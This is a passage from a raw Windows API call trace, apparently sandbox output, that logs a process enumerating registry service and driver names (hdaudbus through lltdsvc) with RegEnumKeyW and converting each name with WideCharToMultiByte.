lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudbus", lpUsedDefaultChar=0x0) returned 8 [0176.079] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0176.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbatt", lpUsedDefaultChar=0x0) returned 7 [0176.080] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0176.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0176.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbth", lpUsedDefaultChar=0x0) returned 6 [0176.080] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0176.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0176.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidir", lpUsedDefaultChar=0x0) returned 5 [0176.080] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0176.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidserv", lpUsedDefaultChar=0x0) returned 7 [0176.080] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0176.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0176.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidusb", lpUsedDefaultChar=0x0) returned 6 [0176.080] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0176.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0176.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hkmsvc", lpUsedDefaultChar=0x0) returned 6 [0176.080] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0176.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0176.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x21f1a90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegrouplistener", lpUsedDefaultChar=0x0) returned 17 [0176.081] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0176.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0176.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x21f1a00, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroupprovider", lpUsedDefaultChar=0x0) returned 17 [0176.081] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0176.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0176.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hpsamd", lpUsedDefaultChar=0x0) returned 6 [0176.081] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0176.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0176.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http", lpUsedDefaultChar=0x0) returned 4 [0176.081] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0176.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hwpolicy", lpUsedDefaultChar=0x0) returned 8 [0176.081] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0176.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i8042prt", lpUsedDefaultChar=0x0) returned 8 [0176.081] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0176.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iastorv", lpUsedDefaultChar=0x0) returned 7 [0176.082] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0176.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0176.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="idsvc", lpUsedDefaultChar=0x0) returned 5 [0176.082] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0176.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0176.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iirsp", lpUsedDefaultChar=0x0) returned 5 [0176.082] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0176.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0176.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ikeext", lpUsedDefaultChar=0x0) returned 6 [0176.082] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0176.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="inetaccs", lpUsedDefaultChar=0x0) returned 8 [0176.082] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0176.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelide", lpUsedDefaultChar=0x0) returned 8 [0176.082] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0176.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelppm", lpUsedDefaultChar=0x0) returned 8 [0176.082] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0176.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0176.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x21f1a00, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipbusenum", lpUsedDefaultChar=0x0) returned 9 [0176.083] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0176.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0176.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x21f1a90, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipfilterdriver", lpUsedDefaultChar=0x0) returned 14 [0176.083] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0176.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iphlpsvc", lpUsedDefaultChar=0x0) returned 8 [0176.083] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0176.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipmidrv", lpUsedDefaultChar=0x0) returned 7 [0176.083] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0176.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0176.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipnat", lpUsedDefaultChar=0x0) returned 5 [0176.083] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0176.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0176.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="irenum", lpUsedDefaultChar=0x0) returned 6 [0176.083] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0176.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0176.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isapnp", lpUsedDefaultChar=0x0) returned 6 [0176.084] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0176.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iscsiprt", lpUsedDefaultChar=0x0) returned 8 [0176.084] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0176.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdclass", lpUsedDefaultChar=0x0) returned 8 [0176.084] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0176.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0176.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdhid", lpUsedDefaultChar=0x0) returned 6 [0176.084] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0176.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0176.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyiso", lpUsedDefaultChar=0x0) returned 6 [0176.084] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0176.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0176.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecdd", lpUsedDefaultChar=0x0) returned 6 [0176.084] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0176.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecpkg", lpUsedDefaultChar=0x0) returned 7 [0176.085] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0176.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksthunk", lpUsedDefaultChar=0x0) returned 7 [0176.085] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0176.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0176.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ktmrm", lpUsedDefaultChar=0x0) returned 5 [0176.085] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0176.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0176.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x21f1a90, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanserver", lpUsedDefaultChar=0x0) returned 12 [0176.085] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0176.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0176.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x21f1a00, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanworkstation", lpUsedDefaultChar=0x0) returned 17 [0176.085] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0176.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0176.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ldap", lpUsedDefaultChar=0x0) returned 4 [0176.085] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0176.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0176.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdio", lpUsedDefaultChar=0x0) returned 6 [0176.085] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0176.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, 